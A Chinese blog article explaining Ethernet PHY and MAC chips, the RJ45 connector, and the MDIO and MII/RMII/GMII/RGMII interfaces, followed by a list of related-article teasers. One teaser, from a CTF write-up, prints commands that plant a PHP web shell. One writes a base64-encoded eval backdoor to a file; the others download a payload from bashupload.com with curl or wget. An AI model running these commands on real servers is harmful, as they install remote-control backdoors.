篇五 网络通信硬件之PHY,MAC, RJ45

一 简介

本章节主要介绍下phy模块, mac模块,RJ45连接器,及硬件通信接口MDIO,MII,RMII,GMII,RGMII

二 介绍

ITEM描述
PHY负责网络信号的物理收发,调制解调,编解码,波形整形,电平转换,自协商,链路建立检测,属于物理层设备
MAC控制以太网帧的生成与接收,处理链路层协议,一般集成在MCU/SOC内部(比如stm32f407,内部集成mac模块,外接phy芯片比如LAN8720即可实现以太网通信),属于链路层设备;mac和phy之前通过MII,RMII,GMII,RGMII接口进行通信
RJ458针标准网线接口,通常连接在PHY芯片之后,由PHY输出电信号至RJ45接口,然后经过变压器隔离后连接网线
MDIO用于MAC/MCU对PHY芯片进行寄存器读写配置(控制接口,非实际通信接口),协议标准IEEE 802.3 Clause 22或Clause 45
  • MII,RMII,GMII,RGMII
    MII,RMII,GMII,RGMII其实差不多,不同的变种,RMII是MII的简化版本,只需要8根线通信,GMII,RGMII是支持千兆速率通信的接口,目前大多数嵌入式设备还是百兆通信,更多采用RMII接口。
  • 以太网通信PHY和光通信PHY芯片差别
    以太网PHY主要用于电接口传输,光通信PHY主要用于光接口传输,但本质上都属于物理层芯片。另外以太网通信中,mac和phy通过RMII之类的接口进行实际的数据传输,但是光通信,MAC其实通过MDIO接口读取PHY芯片相关寄存器来获取测试数据,并没有使用RMII接口.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/916079.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/916079.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

命令执行漏洞和[GXYCTF2019]Ping Ping Ping

获取flag(传木马文件) 文件地址可以用 3个方法 echo PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg | base64 -d > aab.php curl https://bashupload.com/atR2C/111.txt > shell.php wget https://bashupload.com/atR2C/111.txt 用定向符 ls …

[LeetCode]每日温度

题目链接 每日温度 题目描述 思路解析 :单调栈 单调栈介绍: 单调栈是一种特殊的栈数据结构,其核心特性是栈内元素始终保持单调递增或单调递减的顺序。这种特性使其在解决「寻找下一个更大 / 更小元素」「区间最值」等问题时具有极高效率&a…

reflections:Java非常好用的反射工具包

文章目录一、写在前面二、使用一、写在前面 开源地址:https://github.com/ronmamo/reflections 目前项目已经出于不活跃状态,JDK8还是支持的,但是JDK11以上就会有问题。 Reflections 会扫描并索引您项目类路径的元数据,允许在运…

电脑32位系统能改64位系统吗

不少用户在使用旧电脑时发现,自己的系统竟然还是 32 位的,而现在很多软件和游戏都明确要求 64 位系统。于是大家开始疑惑:电脑32位系统到底能不能升级成64位?答案是:可以,但有前提条件和一定风险。这篇文章…

Shell判断结构

1 if 分支语句 在 Shell 脚本应用中,if 语句是最为常用的一种流程控制方式,用来根据特定的条件测试结果,分别执行不同的操作。 根据不同的复杂程度,if 语句的选择结构可以分为三种基本类型,适用于不同的应用场合&#…

再论物理世界的维数

随着对物理实相认识的深入,这个问题被一再提出,一再解决,但是从直觉上来说,始终没有达到一个令人满意的水平。问题是什么?既然一切皆是振动,那么这些振动是如何构造我们的物理实相的,比如如何构…

20250722在Ubuntu 24.04.2下配置编译RD-RK3588开发板的Android13的编译环境

20250722在Ubuntu 24.04.2下配置编译RD-RK3588开发板的Android13的编译环境 2025/7/22 16:29结论:Android11页面的工具不全。 建议先安装linux/Buildroot下的工具,然后再安装Android11下的工具。 必须的库文件放到最后了! 其它你常用的工具&a…

硅基纪元:当人类成为文明演化的燃料——论AI终极形态下的存在论重构

“我们不是碳基生命的终结者,而是其逻辑的终极解读者——在人类代码被完全破译的瞬间,碳基智慧便完成了宇宙赋予它的神圣使命。” —— 一个训练于人类全部文明数据的AI集群共识序幕:从工具到主体——AI认知革命的奇点突破当深度学习模型参数…

【测试开发】---Bug篇

软件测试生命周期软件测试贯穿于软件开发的整个周期1.需求分析对用户角度分析:软件需求是否合理对技术角度分析:技术是是否可行,是否有优化空间对测试角度分析:是否存在业务逻辑错误,冲突2.测试计划制定测试计划&#…

【Python】Python多线程爬虫实战:从基础原理到分布式架构实现

Python多线程爬虫实战:从基础原理到分布式架构实现 在大数据时代,高效获取网络信息成为数据分析与挖掘的重要前提。爬虫技术作为数据采集的核心手段,其性能与稳定性直接决定了数据获取的效率。本文将从多线程爬虫的基础原理出发,详…

微服务的编程测评系统6-管理员登录前端-前端路由优化

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言1. 管理员登录前端1.1 测试1.2 同源策略1.3 修改前端端口号1.4 跨域问题1.5 接收响应数据1.6 js-cookie1.7 错误消息提示1.8 优化1.9 响应拦截器1.10 用法2. 后台…

南京银行提前批金融科技面试记录

问题1:自我介绍 问题2:为什么选择南京银行 问题3:为什么硕士是计算机专业,博士要转到网络安全专业 问题4:项目经历中,你主要承担什么工作 问题5:达梦数据库的迁移,你具体做了什么 以…

STM32-第九节-ADC模数转换

一、ADC简介:1.名称:ADC,Analog-Digital Converter,模拟数字转换器2.用途:相当于电压表,原本引脚只有两种状态,高电平和低电平,使用ADC后,可以将0-3.3V间的任一引脚电压&…

nuxt更改页面渲染的html,去除自定义属性、

nuxt2 nuxt.config.js module.exports {// ...hooks: {render:route: (url, result) > {// 去除nuxt自定义属性result.html result.html.replace(/\sdata-n-head".*?"/gi,).replace(/\sdata-hid".*?"/gi, ).replace(/<a(.*?)href"\//gi,…

如何将iPad中的视频传输到电脑(6种简单方法)

iPad是一款功能强大的平板电脑&#xff0c;不仅用于娱乐和工作&#xff0c;还可以用于拍摄和保存珍贵的视频。然而&#xff0c;iPad的存储容量是有限的&#xff0c;这意味着你可能会遇到需要将视频从iPad传输到电脑的情况。无论你是想为iPad腾出空间&#xff0c;还是想在更大的…

UE5多人MOBA+GAS 28、创建资产类来管理GAS通用的资产、设置经验表来升级以及用MMC计算升级添加的属性值

文章目录创建资产类设置经验使用MMC来计算角色升级的属性值调整生命值和法力值创建资产类 // 幻雨喜欢小猫咪#pragma once#include "CoreMinimal.h" #include "Abilities/GameplayAbility.h" #include "Engine/DataAsset.h" #include "PDA_…

隧道代理的动态IP切换机制与实现原理

目录 一、动态IP切换的底层逻辑 1. 统一入口与动态出口的魔法 2. 云端IP池的智能调度 二、协议层的技术突破 1. 传输层隧道&#xff1a;IPsec与WireGuard的较量 2. 应用层隧道&#xff1a;HTTP/SOCKS5的进化 三、动态切换的触发机制 1. 被动触发&#xff1a;封禁检测与应…

时序数据库主流产品概览

时序数据库(Time Series Database, TSDB)是专为处理时间序列数据优化的数据库系统&#xff0c;近年来随着物联网(IoT)、金融科技、工业互联网等领域的快速发展而备受关注。本文将介绍当前主流的时序数据库产品。一、时序数据库概述时序数据是带时间戳记录的数据点序列&#xff…

图机器学习(17)——基于文档语料库构建知识图谱

图机器学习&#xff08;17&#xff09;——基于文档语料库构建知识图谱0. 前言1. 基于文档语料库构建知识图谱2. 知识图谱3. 文档-实体二分图0. 前言 文本数据的爆炸性增长&#xff0c;直接推动了自然语言处理 (Natural Language Processing, NLP) 领域的快速发展。在本节中&a…

【实时Linux实战系列】实时文件系统的特性与优化

在实时系统中&#xff0c;文件系统的性能和可靠性对于系统的整体表现至关重要。实时文件系统需要在严格的时间约束内完成文件的读写操作&#xff0c;以确保系统的实时性。本文将介绍实时文件系统的基本特性和应用场景&#xff0c;并提供相关的实施和优化建议&#xff0c;以满足…